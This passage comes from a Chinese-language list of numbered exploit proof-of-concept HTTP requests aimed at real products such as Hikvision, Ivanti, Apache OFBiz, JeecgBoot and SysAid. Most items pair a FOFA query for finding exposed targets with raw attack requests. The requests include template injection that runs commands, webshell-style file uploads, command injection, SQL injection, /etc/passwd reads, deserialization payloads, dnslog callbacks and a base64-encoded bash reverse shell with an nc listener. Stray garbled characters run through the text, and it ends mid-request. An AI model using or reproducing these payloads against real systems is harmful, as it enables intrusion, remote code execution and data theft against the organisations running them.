! {: g9 F& b, _Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
" h" u( w) T  Z+ O: {  r9 S
# H' D  M; ?( x! w( b# U  D  X; ~{
"command": "GetFZinfo",
* y" ^( k) O/ h' P  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}
# T" p7 y2 X/ T& n, O+ r
8 y+ }0 C4 {2 m' J# M
7 s8 y9 d6 ^7 l# e+ F3 MGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
! C! V- i% ~: s  O. Q

1 A# j" H" A9 x: z) ]  Z, T0 s
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
3 |$ i8 q% m5 v0 m4 xFOFA：body="F22WEB登陆"
! j& |. e5 Q' d5 u+ YPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
7 F. Y7 l+ _- L9 A6 F, dAccept: */*
Accept-Encoding: gzip, deflate
) n5 r+ w* V& `  Q4 A, fAccept-Language: zh-CN,zh;q=0.9
; B4 `! B% F; vContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

3 b9 @( g4 {2 S: ]4 U2 D. K------------398jnjVTTlDVXHlE7yYnfwBoix
: d& Z# l$ g1 W$ m; W) c: TContent-Disposition: form-data; name="folder"

/upload/udplog
5 w2 C, j: c  b. i+ L' E------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream
& \& E' Z" M/ W* h3 S2 _
hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"
7 E/ u! u& M( k0 F7 k
' T; v! h  f; u# k# V. ?9 OSubmit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--
& {  v, R7 L, s1 R' I

78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
  ]) `" ], j9 w. V+ D. A+ p5 NPOST /Platform/System/FileUpload.ashx HTTP/1.1
) \  ~; m" x1 p- q! D$ ]) @Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
7 `) ^7 L4 A; @# f# RContent-Length: 336
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

& _' }. }  |6 U/ }------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
- }7 X' k$ `" b2 Y, qContent-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"

/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--

! q% R1 U! ?5 [; [! `5 p! D+ o
! c: L5 D* J# G  Q5 ~- i% i) YGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
: a1 o- S( b+ c2 s; K; x# WHost: x.x.x.x

  H  L7 c2 X1 j" u/ Z4 `
79. BYTEVALUE 百为流控路由器远程命令执行
' {6 B% F7 S. j/ ^5 R* `  \FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
0 q* o  x" P% Z) u: D7 n/ _Host:IP
9 i& v' T# g& q5 G! jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
* w9 v& |# f  j8 v+ c3 j/ l1 G
1 _4 R1 g! z$ ~) W+ O
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
4 |1 A4 q" s% Z- ~" d5 [FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 g: A, f/ I8 E* N* i6 sAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 H4 h& m. \5 D, LConnection: close
Content-Type: application/octet-stream
0 s9 o& |; Z& Q: Z' S9 uUpgrade-Insecure-Requests: 1
2 M0 ^7 S8 M' {  L
9 h6 q. c/ A: m* x! l<% out.print("oessqeonylzaf");%>
- z$ k& \+ K6 Q8 {; _- @

GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* @& o3 K1 L3 S  J& P8 \: s# ^% yConnection: close
Accept-Encoding: gzip


81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
7 A; k  Z+ H( X8 mFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
( z- h& f& i; L6 p& M% U1 XHost: x.x.x.x
$ x0 P8 w) z7 {% TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip


; X, \& M. f* a82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
4 f5 e0 ^1 F( a' T. bHost: BaseURL
User-Agent: Go-http-client/1.1
Content-Length: 23
: Z5 q1 K9 G& X; n$ }+ ?3 O) I6 dAccept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
. h+ d! D8 O: O; S: _/ dReferer: BaseURL
, b! I! A9 H2 T" r  Z  M3 [; b
! a. ?, ^9 \! k: u# u; _z1=1&z2="|id;"&z3=bhost
) \+ d0 h3 c8 z# j5 X! X/ X
. J9 ?  X, M/ s+ s
" b; |: ]- `9 z8 s6 S, T/ @5 ^83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"
$ W. E1 L7 R- W$ k5 D- O  L, Y

POST /jmreport/testConnection HTTP/1.1
" C1 X5 x: n8 d. p# c  g: V4 z7 yHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 R5 B  F% S; [Connection: close
Content-Length: 8881
Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json

PAYLOAD

' X# m' T3 r- \7 X84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"

8 S( x  f. f, ~( l6 o( u
7 s- i" q% {" c& f9 i( b
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
$ x( E8 @* T1 e/ T# s6 C  }4 Y- dHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
Connection: close
Content-Type: application/json
Accept-Encoding: gzip

1 J8 W# V" S5 j' F$ m, F8 z{
; h5 E6 Y( r' F+ D% p" D( o! }; ? "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
& t+ Z# l* i6 L; m# h$ m( P, ~  "type": "0"
}
; W* i! k2 c4 _1 q- M
6 i& Q) m/ G6 x! `- f6 E- w1 Q
85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
9 W0 {* Y0 p' f% o2 {+ E( gPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
' T; h% L2 ]% ?) W: `! Y4 Q& DAccept-Encoding: gzip
) h7 [# h+ L3 j$ W; O) I
PAYLOAD

1 [3 @4 y2 J9 n4 m% V- m0 C. s+ p- ?回显URL：http://x.x.x.x/userfiles/index.jsp

  s8 p  W9 o( e, N8 ]/ k. j86. 日本tosei自助洗衣机RCE
; u7 W. k5 g' s7 @' V+ pFOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
, R2 w5 Q2 b$ tHost: x.x.x.x
; z0 U/ o5 I# u. W+ r  ?, ~* G- ]User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
& U! s/ I  s7 Y& rConnection: close
. p5 }2 y# w" hContent-Length: 44
Accept: */*
Accept-Encoding: gzip
' S! j. A# Z6 S6 I5 `4 z" P( _1 \Accept-Language: en
! @% R, O* \9 V& ~( B: @Content-Type: application/x-www-form-urlencoded
, u0 X; z: d/ Q0 n' D
' _! `5 {1 q' _host=%0acat${IFS}/etc/passwd%0a&command=ping

( K* ^( `  }! Z/ Q; |) l
87. 安恒明御安全网关aaa_local_web_preview文件上传
7 b5 }+ {/ O$ N: u" ^8 Z# C- G1 NFOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
: y: M/ q. i2 N5 R) S* c7 B9 XHost: X.X.X.X
: S$ a2 |+ `! e2 c  fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 _1 D8 w2 b/ o1 {Connection: close
8 L2 b- w  j2 x* z) J! hContent-Length: 198
Accept-Encoding: gzip
3 h+ W9 y! U& `& j# s& {% LContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
5 X% k, x1 ]9 H! O/ h
--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
+ K3 Z: T9 z+ M9 AContent-Type: text/plain
: L* s* _3 j7 t6 A" q8 a
# E. ?: Z! F& ?1 m2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--

# o* b# n5 N- O; O  u
/jfhatuwe.php
2 \; i3 x& B: }6 r) {3 P. ^, u: p
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
6 n' p) J4 L& ~/ Q* e7 A% VFOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
* Q# J' @! p6 X8 S( ?Host: x.x.x.xx.x.x.x
8 @" d5 H2 t1 j+ c* XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 T* t9 @3 |3 v* I2 z% S1 eAccept-Encoding: gzip, deflate
/ `3 N/ b5 ]1 H6 n' v  F! f, xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! s" l  b8 y) N# {2 n* |' NConnection: close


+ f: I9 P1 v+ K  @5 J6 K1 `/astdfkhl.php
7 I& i, ~, G6 a) c
89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
/ b! Y; [: f/ }- I7 pPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
( ]! J! g# p6 Z- P3 rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
$ a& M& u( R1 TContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

option=2&GUID=-1'+union+select+111*222--+
% c( S& K1 k; ?, V9 C
$ T- L- Y% w/ \9 A" e
3 J3 F; M0 x( j4 N' W2 ?- v90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
9 m) A8 f" ^% [! vContent-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
  y8 V" p1 }: O0 T' F% M1 B; TAccept-Encoding: gzip, deflate
8 g3 B9 f; j; s+ C# t( r1 H5 j/ lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 M7 }/ x' y) m+ d3 ]8 E4 e" P/ UConnection: close
8 A7 }1 g" R/ v8 aContent-Type: application/x-www-form-urlencoded
1 E7 O. R# ]0 tX-Requested-With: XMLHttpRequest
8 N' d% E. B: M7 E
$ M9 _& R, V) ^/ w( V% U& s* djsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
  f/ ^# X0 s6 ]3 K9 `  F

91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
1 {5 c8 I) u( n8 R. P" p) w: yFOFA：title="综合安防管理平台"
+ S+ x4 L6 u. r! b4 L8 c: g- _6 \- SGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
  Z( R, o! [% b4 I! T4 C8 M; d( s$ \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
, q( F# o- j" [  ~0 F4 b- BConnection: keep-alive


* t3 e$ Z+ v* q. R4 m2 F+ D
7 L* p5 u7 D3 d  x. Y- u2 t2 I! R92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
* g% _5 b; s4 J- V1 f/ F# zPOST /center/api/session HTTP/1.1
Host:
6 z$ q3 S& b7 T/ rAccept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
- t3 {& P* D( F/ S( [( ]$ g) H) y8 }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
, }' h9 h6 f/ t* y' N) p9 j+ x
PAYLOAD


/ U; j: p! q+ `/ S, ]93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
% P, }" `2 P- U1 ~1 Z# zPOST /?g=app_av_import_save HTTP/1.1
' u+ W2 ]& |* s' R+ ~% g0 gHost: x.x.x.x
, Z! |- l* V  H; J5 _Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
1 o8 Y. q7 s; S% j7 L  vUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

1 ^4 o7 j  x: y, A1 u+ k------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
; h$ u0 }+ E0 i% x* r- hContent-Type: text/plain
9 @: b/ O% l7 Q/ t+ ]) A( t
: g# e+ q0 u5 X+ U; u( ~- }wagletqrkwrddkthtulxsqrphulnknxa
0 r" e! W) _+ Q  \! b+ u8 r9 y  T------WebKitFormBoundarykcbkgdfx
5 @2 g. E, @+ [2 V9 _8 cContent-Disposition: form-data; name="submit_post"
  L" h" H: e1 ?. S
obj_app_upfile
6 v0 r  N5 c; A: Q' ^: Z% q8 G7 ^------WebKitFormBoundarykcbkgdfx
2 @4 H6 d8 ^  r+ w0 W, N) u2 hContent-Disposition: form-data; name="__hash__"

! G" y* ~* |3 a# J- [; S  ?) S% O0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--


7 r, k& p* y3 W: L& O8 @GET /attachements/xlskxknxa.txt HTTP/1.1
  h& ?* T' S+ T  t5 ZHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
1 h8 T& q! |7 X! LHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
! i& S# K: m+ y, p0 x, E8 qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
7 p+ N' ?- y4 p5 i" v
) N# L# s# n% k% a) b% N------WebKitFormBoundarybqvzqvmt
9 S; Z5 I& R: v0 d" h+ q, GContent-Disposition: form-data; name="MAX_FILE_SIZE"
( v: ?7 n6 ]9 [1 m% L, [3 W- `2 S
10000000
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
% Z9 ?  f. q  z! h& w; P) xContent-Type: text/plain

8 M0 J6 G( e5 y. _$ Jpxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
* W$ w4 o! w3 `& s/ I* g8 QContent-Disposition: form-data; name="submit_post"

; J" W6 A" V" P: i& c9 e. d/ c, Q4 Vobj_app_upfile
/ Z* D, q' G; z( x4 W% ^! u------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"

: k: }/ C0 M& P+ p( @/ O9 X9 m0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--

) @3 u9 F  ]. f% J
' v7 X9 ]6 ]' A& f+ j
  B9 D0 C* u  D2 {; VGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
& D1 g* X% r6 s9 d6 c

& [  z$ q. ~; ^/ A- G
1 l! _2 u& ^4 v( R2 A3 Z) Q' m) a95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
+ H3 Y6 N" y" n* [CVE-2023-49070
FOFA：app="Apache_OFBiz"
' X3 u( h. G7 ?- v+ W! |! z. Q& iPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
# q9 V/ n2 n  Y! W5 [/ |Host: x.x.x.x
* a3 F! j  T/ L( nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
6 C' E( j2 l5 @8 I: W0 N( kContent-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
5 j* E+ ~, p1 O4 Q1 R
<?xml version="1.0"?>
2 O4 S7 I3 s: _* V* D  G% j* f) h<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
9 e1 a$ w9 {+ E" {# y, M* S' ^      <param>
      <value>
        <struct>
       <member>
2 Y) \  t9 M- x0 m          <name>test</name>
1 R$ ^2 ]0 D* a  O% W, R          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
3 J# A) s* ^9 q0 S4 B/ `# L# v" T        </member>
# z5 ?, X: @" I* J+ ~3 f; {2 b# X      </struct>
  A$ X' ]/ }7 L" i; O3 F2 ]      </value>
3 ^& @5 v. j. O/ |2 W: ?' q  m    </param>
    </params>
$ f4 D  e2 `) W+ A) y1 X</methodCall>

0 ?: b0 H6 |$ R9 W
用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
2 l" \( _+ N3 l3 P  {
; y. l1 [) G' b
& c/ C. O$ S/ v% c将生成的payload替换到上面的POC
# |. n6 S: F! _. bPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
3 Q5 e1 R: q5 rConnection: close
6 p/ A  B- V/ N3 T- T0 eContent-Length: 889
: {9 q; D/ q5 yContent-Type: application/xml
" ^) C7 u/ h, l6 e1 ~Accept-Encoding: gzip
8 K* [) P) ?. D1 f5 C. L$ o$ ]
: e- N5 y+ J) z# |  n. ~3 e; bPAYLOAD
  P! x, `8 M& a! {& o: ^* j
96. Apache OFBiz  18.12.11 groovy 远程代码执行
/ t2 G& k! I0 e: R3 m0 ~" N* HFOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
0 g5 r, D: F9 KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
6 V# H; _& ^+ E; ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. R& E* ?! K' L3 a( k0 VContent-Type: application/x-www-form-urlencoded
Content-Length: 55
7 E& h% Z5 B# w6 n
groovyProgram=throw+new+Exception('id'.execute().text);
; \2 u0 n0 B4 e4 {$ E: J

! Q1 X( J; Q7 @) Y- v' U反弹shell
在kali上启动一个监听
nc -lvp 7777

& D8 e0 P/ q: T- ?2 BPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
/ y- y2 Q: g2 x7 b; T2 f; F7 UAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
& k9 B4 T' }6 y' t5 V: WContent-Length: 71
; V' E5 M  B2 j6 q* a
groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

3 y# L" Y. Q' K2 \+ a8 g! X* y( L97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
% V! \+ B1 L6 iHost: 192.168.40.130:8085
* ]5 X* h" X' XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 ?9 L4 i& F8 L0 E2 N1 S% m7 IAccept-Encoding: gzip
: }/ G/ R6 @6 D. a$ G; LConnection: close
Cookie: rememberMe=PAYLOAD
7 l4 _3 }6 y) S3 r; [' ?$ o7 N- SX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


' y+ C& }9 Z3 N7 U1 R2 l. a1 Y98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
+ L, i! a2 I- _! F, ^: C' w/ u7 DConnection: close
2 i$ g2 P& p7 ~7 HContent-Length: 121
* K3 ?& \* h! s  O" C. m0 ~Accept: */*
- d3 s8 X( L; L% k9 PAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# p3 q: S( u* e& Q% n% LContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

4 ?7 G, P1 B# f9 u6 w
/ [$ E7 d. Q- Q8 ^# _99. Ncast盈可视高清智能录播系统busiFacade RCE
# x; o( Z$ J1 sCVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
# t0 g; T, s, ?7 t9 [# m, ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
; {- B) G' e& `% S- qConnection: close
Content-Length: 154
Accept: */*
. t3 j" Z% K/ s1 e4 R1 Q) P  e5 d" x1 yAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
" \- T: A- p5 r
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D

5 W" Q- o& {  ~% P
7 L3 Z3 u& X; B: y; r+ d* z5 }100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
' Z& L! ?" s7 `+ n  t, X) uFOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
  ^: u1 b& Q2 B/ o2 G. GHost: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
+ _# W& [/ ^6 `, e& `0 D6 O! w: VConnection: close
0 R  x& z" V3 t5 AContent-Length: 201
  T1 D) W* A5 O' EContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
8 E# T4 P( U) a- H$ @0 J9 b, sAccept-Encoding: gzip
$ N$ ~8 H6 m' g
------WebKitFormBoundarygcflwtei
& n3 g3 Z/ Y/ g# ~: kContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

" E9 v5 P8 }! [# H+ w4 D/ ]2 ^  [) P" X2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--


101. ivanti policy secure-22.6命令注入
CVE-2024-21887
4 E+ U1 [) B3 ]8 c; `4 z$ D- lFOFA：body="welcome.cgi?p=logo"
) {7 [  o2 _2 ?- y9 k+ kGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
1 O" Y; s: c* }; M, H) uHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
5 Y6 Y! ~+ q: ?5 ^Connection: close
Accept-Encoding: gzip
+ D& `- I8 e* H
! E' N& S* C4 d% |  p' l
( X1 C' {# Z' B0 N" A' T! X6 R3 P; i102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
3 r' ~4 ]; P/ m% G7 z/ oPOST /dana-ws/saml20.ws HTTP/1.1
$ C6 r4 e( @0 w. k& [Host: x.x.x.x
1 h+ P7 {% @' J( i7 ]0 xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
6 [/ d2 ?6 |9 WConnection: close
Content-Length: 792
